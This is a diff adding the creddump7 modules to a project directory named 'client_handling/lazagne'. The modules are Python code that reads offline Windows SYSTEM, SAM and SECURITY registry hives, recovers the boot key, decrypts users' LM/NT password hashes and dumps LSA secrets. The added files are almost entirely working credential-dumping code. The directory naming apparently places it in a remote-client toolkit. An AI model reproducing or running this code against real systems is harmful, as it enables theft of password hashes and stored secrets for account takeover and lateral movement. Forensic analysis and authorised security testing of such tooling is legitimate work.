+    s2 += int_or_bytes(s2[0]) + int_or_bytes(s2[1]) + int_or_bytes(s2[2])
+    return str_to_key(s1), str_to_key(s2)
+
+
+def find_control_set(sysaddr):
+    root = get_root(sysaddr)
+    if not root:
+        return 1
+
+    csselect = open_key(root, [b"Select"])
+    if not csselect:
+        return 1
+
+    for v in values(csselect):
+        if v.Name == b"Current":
+            return v.Data.value
+
+
+def get_bootkey(sysaddr):
+    cs = find_control_set(sysaddr)
+    lsa_base = [b"ControlSet%03d" % cs, b"Control", b"Lsa"]
+    lsa_keys = [b"JD", b"Skew1", b"GBG", b"Data"]
+
+    root = get_root(sysaddr)
+    if not root:
+        return None
+
+    lsa = open_key(root, lsa_base)
+    if not lsa:
+        return None
+
+    bootkey = b""
+
+    for lk in lsa_keys:
+        key = open_key(lsa, [lk])
+        class_data = sysaddr.read(key.Class.value, key.ClassLength.value)
+        bootkey += codecs.decode(class_data.decode('utf-16-le'), 'hex')
+
+    bootkey_scrambled = b""
+    for i in range(len(bootkey)):
+        try:
+            bootkey_scrambled += bootkey[p[i]]
+        except TypeError:
+            bootkey_scrambled += bytes([bootkey[p[i]]])
+    return bootkey_scrambled
+
+
+def get_hbootkey(samaddr, bootkey):
+    sam_account_path = [b"SAM", b"Domains", b"Account"]
+
+    root = get_root(samaddr)
+    if not root:
+        return None
+
+    sam_account_key = open_key(root, sam_account_path)
+    if not sam_account_key:
+        return None
+
+    F = None
+    for v in values(sam_account_key):
+        if v.Name == b'F':
+            F = samaddr.read(v.Data.value, v.DataLength.value)
+    if not F:
+        return None
+
+    revision = ord(F[0x00])
+    if revision == 2:
+        md5 = hashlib.md5(F[0x70:0x80] + aqwerty + bootkey + anum)
+        rc4_key = md5.digest()
+        rc4 = RC4(rc4_key)
+        hbootkey = rc4.encrypt(F[0x80:0xA0])
+
+        return hbootkey
+
+    elif revision == 3:
+        iv = F[0x78:0x88]
+        encryptedHBootKey = F[0x88:0xA8]
+        cipher = AESModeOfOperationCBC(bootkey, iv=iv)
+        hbootkey = b"".join([cipher.decrypt(encryptedHBootKey[i:i + AES_BLOCK_SIZE]) for i in range(0, len(encryptedHBootKey), AES_BLOCK_SIZE)])
+
+        return hbootkey[:16]
+
+
+def get_user_keys(samaddr):
+    user_key_path = [b"SAM", b"Domains", b"Account", b"Users"]
+    root = get_root(samaddr)
+    if not root:
+        return []
+
+    user_key = open_key(root, user_key_path)
+    if not user_key:
+        return []
+
+    return [k for k in subkeys(user_key) if k.Name != b"Names"]
+
+
+def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr):
+    if enc_hash == "":
+        return ""
+    (des_k1, des_k2) = sid_to_key(rid)
+    d1 = des(des_k1, ECB)
+    d2 = des(des_k2, ECB)
+    md5 = hashlib.md5()
+    md5.update(hbootkey[:0x10] + pack("<L", rid) + lmntstr)
+    rc4_key = md5.digest()
+    rc4 = RC4(rc4_key)
+    obfkey = rc4.encrypt(enc_hash)
+    hash_ = d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:])
+    return hash_
+
+
+def decrypt_single_salted_hash(rid, hbootkey, enc_hash, lmntstr, salt):
+    if enc_hash == "":
+        return ""
+    (des_k1, des_k2) = sid_to_key(rid)
+    d1 = des(des_k1, ECB)
+    d2 = des(des_k2, ECB)
+    cipher = AESModeOfOperationCBC(hbootkey, salt)
+    obfkey = b"".join([cipher.decrypt(enc_hash[i:i + AES_BLOCK_SIZE]) for i in range(0, len(enc_hash), AES_BLOCK_SIZE)])
+
+    hash_ = d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:16])
+    return hash_
+
+
+def get_user_hashes(user_key, hbootkey):
+    samaddr = user_key.space
+    rid = int(user_key.Name, 16)
+    V = None
+    for v in values(user_key):
+        if v.Name == 'V':
+            V = samaddr.read(v.Data.value, v.DataLength.value)
+    if not V: return None
+    hash_offset = unpack("<L", V[0xa8:0xa8+4])[0] + 0xCC
+
+    lm_offset_bytes = V[0x9c:0x9c+4]
+    nt_offset_bytes = V[0x9c+12:0x9c+16]
+    lm_offset = unpack("<L", lm_offset_bytes)[0] + 204
+    nt_offset = unpack("<L", nt_offset_bytes)[0] + 204
+
+    lm_revision = int(codecs.encode(V[lm_offset+2:lm_offset+3], 'hex').decode(), 16)
+    if lm_revision == 1:
+        lm_exists = True if unpack("<L", V[0x9c+4:0x9c+8])[0] == 20 else False
+        enc_lm_hash = V[hash_offset+4:hash_offset+20] if lm_exists else ""
+        lmhash = decrypt_single_hash(rid, hbootkey, enc_lm_hash, almpassword)
+    
+    elif lm_revision == 2:
+        lm_exists = True if unpack("<L", V[0x9c+4:0x9c+8])[0] == 56 else False
+        lm_salt = V[hash_offset+4:hash_offset+20] if lm_exists else ""
+        enc_lm_hash = V[hash_offset+20:hash_offset+52] if lm_exists else ""
+        lmhash = decrypt_single_salted_hash(rid, hbootkey, enc_lm_hash, almpassword, lm_salt)
+
+    nt_revision = int(codecs.encode(V[nt_offset+2:nt_offset+3], 'hex').decode(), 16)
+    if nt_revision == 1:
+        nt_exists = True if unpack("<L", V[0x9c+16:0x9c+20])[0] == 20 else False
+        enc_nt_hash = V[nt_offset+4:nt_offset+20] if nt_exists else ""
+        nthash = decrypt_single_hash(rid, hbootkey, enc_nt_hash, antpassword)
+    
+    elif nt_revision == 2:
+        nt_exists = True if unpack("<L", V[0x9c+16:0x9c+20])[0] == 56 else False
+        nt_salt = V[nt_offset+8:nt_offset+24] if nt_exists else ""
+        enc_nt_hash = V[nt_offset+24:nt_offset+56] if nt_exists else ""
+        nthash = decrypt_single_salted_hash(rid, hbootkey, enc_nt_hash, antpassword, nt_salt)
+
+    return lmhash, nthash
+
+
+def get_user_name(user_key):
+    samaddr = user_key.space
+    V = None
+    for v in values(user_key):
+        if v.Name == b'V':
+            V = samaddr.read(v.Data.value, v.DataLength.value)
+    if not V:
+        return None
+
+    name_offset = unpack("<L", V[0x0c:0x10])[0] + 0xCC
+    name_length = unpack("<L", V[0x10:0x14])[0]
+
+    username = V[name_offset:name_offset + name_length].decode('utf-16-le')
+    return username
+
+
+def dump_hashes(sysaddr, samaddr):
+    bootkey = get_bootkey(sysaddr)
+    hbootkey = get_hbootkey(samaddr, bootkey)
+    results = []
+    for user in get_user_keys(samaddr):
+        lmhash, nthash = get_user_hashes(user, hbootkey)
+        if not lmhash:
+            lmhash = empty_lm
+        if not nthash:
+            nthash = empty_nt
+        results.append(
+            "%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16), codecs.encode(lmhash, 'hex').decode(),
+                                codecs.encode(nthash, 'hex').decode()))
+    return results
+
+
+def dump_file_hashes(syshive_fname, samhive_fname):
+    sysaddr = HiveFileAddressSpace(syshive_fname)
+    samaddr = HiveFileAddressSpace(samhive_fname)
+    return dump_hashes(sysaddr, samaddr)
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/lsasecrets.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/lsasecrets.py
new file mode 100644
index 0000000..232a0f4
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/lsasecrets.py
@@ -0,0 +1,183 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+import hashlib
+import os
+
+from .rawreg import *
+from ..addrspace import HiveFileAddressSpace
+from .hashdump import get_bootkey, str_to_key
+from foreign.client_handling.lazagne.config.crypto.rc4 import RC4
+from foreign.client_handling.lazagne.config.crypto.pyDes import des, ECB
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
+
+
+def get_lsa_key(secaddr, bootkey, vista):
+    root = get_root(secaddr)
+    if not root:
+        return None
+
+    if vista:
+        enc_reg_key = open_key(root, [b"Policy", b"PolEKList"])
+    else:
+        enc_reg_key = open_key(root, [b"Policy", b"PolSecretEncryptionKey"])
+
+    if not enc_reg_key:
+        return None
+
+    enc_reg_value = enc_reg_key.ValueList.List[0]
+    if not enc_reg_value:
+        return None
+
+    obf_lsa_key = secaddr.read(enc_reg_value.Data.value, enc_reg_value.DataLength.value)
+    if not obf_lsa_key:
+        return None
+
+    if not vista:
+        md5 = hashlib.md5()
+        md5.update(bootkey)
+        for i in range(1000):
+            md5.update(obf_lsa_key[60:76])
+        rc4key = md5.digest()
+        rc4 = RC4(rc4key)
+        lsa_key = rc4.encrypt(obf_lsa_key[12:60])
+        lsa_key = lsa_key[0x10:0x20]
+    else:
+        lsa_key = decrypt_aes(obf_lsa_key, bootkey)
+        lsa_key = lsa_key[68:100]
+
+    return lsa_key
+
+
+def decrypt_secret(secret, key):
+    """Python implementation of SystemFunction005.
+
+    Decrypts a block of data with DES using given key.
+    Note that key can be longer than 7 bytes."""
+    decrypted_data = b''
+    j = 0  # key index
+    for i in range(0, len(secret), 8):
+        enc_block = secret[i:i + 8]
+        block_key = key[j:j + 7]
+        des_key = str_to_key(block_key)
+        crypter = des(des_key, ECB)
+
+        try:
+            decrypted_data += crypter.decrypt(enc_block)
+        except Exception:
+            continue
+
+        j += 7
+        if len(key[j:j + 7]) < 7:
+            j = len(key[j:j + 7])
+
+    (dec_data_len,) = unpack("<L", decrypted_data[:4])
+    return decrypted_data[8:8 + dec_data_len]
+
+
+def decrypt_aes(secret, key):
+    sha = hashlib.sha256()
+    sha.update(key)
+    for _i in range(1, 1000 + 1):
+        sha.update(secret[28:60])
+    aeskey = sha.digest()
+
+    data = b""
+    for i in range(60, len(secret), 16):
+        aes = AESModeOfOperationCBC(aeskey, iv="\x00" * 16)
+        buf = secret[i: i + 16]
+        if len(buf) < 16:
+            buf += (16 - len(buf)) * "\00"
+
+        data += aes.decrypt(buf)
+
+    return data
+
+
+def get_secret_by_name(secaddr, name, lsakey, vista):
+    root = get_root(secaddr)
+    if not root:
+        return None
+
+    enc_secret_key = open_key(root, [b"Policy", b"Secrets", name, b"CurrVal"])
+    if not enc_secret_key:
+        return None
+
+    enc_secret_value = enc_secret_key.ValueList.List[0]
+    if not enc_secret_value:
+        return None
+
+    enc_secret = secaddr.read(enc_secret_value.Data.value, enc_secret_value.DataLength.value)
+    if not enc_secret:
+        return None
+
+    if vista:
+        secret = decrypt_aes(enc_secret, lsakey)
+    else:
+        secret = decrypt_secret(enc_secret[0xC:], lsakey)
+
+    return secret
+
+
+def get_secrets(sysaddr, secaddr, vista):
+    root = get_root(secaddr)
+    if not root:
+        return None
+
+    bootkey = get_bootkey(sysaddr)
+    lsakey = get_lsa_key(secaddr, bootkey, vista)
+
+    secrets_key = open_key(root, [b"Policy", b"Secrets"])
+    if not secrets_key:
+        return None
+
+    secrets = {}
+    for key in subkeys(secrets_key):
+        sec_val_key = open_key(key, [b"CurrVal"])
+        if not sec_val_key:
+            continue
+
+        enc_secret_value = sec_val_key.ValueList.List[0]
+        if not enc_secret_value:
+            continue
+
+        enc_secret = secaddr.read(enc_secret_value.Data.value, enc_secret_value.DataLength.value)
+        if not enc_secret:
+            continue
+
+        if vista:
+            secret = decrypt_aes(enc_secret, lsakey)
+        else:
+            secret = decrypt_secret(enc_secret[0xC:], lsakey)
+
+        secrets[key.Name] = secret
+
+    return secrets
+
+
+def get_file_secrets(sysfile, secfile, vista):
+    if not os.path.isfile(sysfile) or not os.path.isfile(secfile):
+        return
+
+    sysaddr = HiveFileAddressSpace(sysfile)
+    secaddr = HiveFileAddressSpace(secfile)
+
+    return get_secrets(sysaddr, secaddr, vista)
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/rawreg.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/rawreg.py
new file mode 100644
index 0000000..9d80355
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/rawreg.py
@@ -0,0 +1,81 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+from ..newobj import Obj, Pointer
+from struct import unpack
+
+ROOT_INDEX = 0x20
+LH_SIG = unpack("<H", b"lh")[0]
+LF_SIG = unpack("<H", b"lf")[0]
+RI_SIG = unpack("<H", b"ri")[0]
+
+
+def get_root(address_space):
+    return Obj("_CM_KEY_NODE", ROOT_INDEX, address_space)
+
+
+def open_key(root, key):
+    if not key:
+        return root
+    
+    keyname = key.pop(0)
+    for s in subkeys(root):
+        if s.Name.upper() == keyname.upper():
+            return open_key(s, key)
+    # print "ERR: Couldn't find subkey %s of %s" % (keyname, root.Name)
+    return None
+
+
+def subkeys(key, stable=True):
+    if stable:
+        k = 0
+    else:
+        k = 1
+
+    sk = (key.SubKeyLists[k]/["pointer", ["_CM_KEY_INDEX"]]).value
+    sub_list = []
+    if (sk.Signature.value == LH_SIG or
+            sk.Signature.value == LF_SIG):
+        sub_list = sk.List
+    elif sk.Signature.value == RI_SIG:
+        lfs = []
+        for i in range(sk.Count.value):
+            off, tp = sk.get_offset(['List', i])
+            lfs.append(Pointer("pointer", sk.address+off, sk.space,
+                ["_CM_KEY_INDEX"]))
+        for lf in lfs:
+            sub_list += lf.List
+
+    for s in sub_list:
+        if s.is_valid() and s.Signature.value == 27502:
+            yield s.value
+
+
+def values(key):
+    for v in key.ValueList.List:
+        yield v.value
+
+
+def walk(root):
+    for k in subkeys(root):
+        yield k
+        for j in walk(k):
+            yield j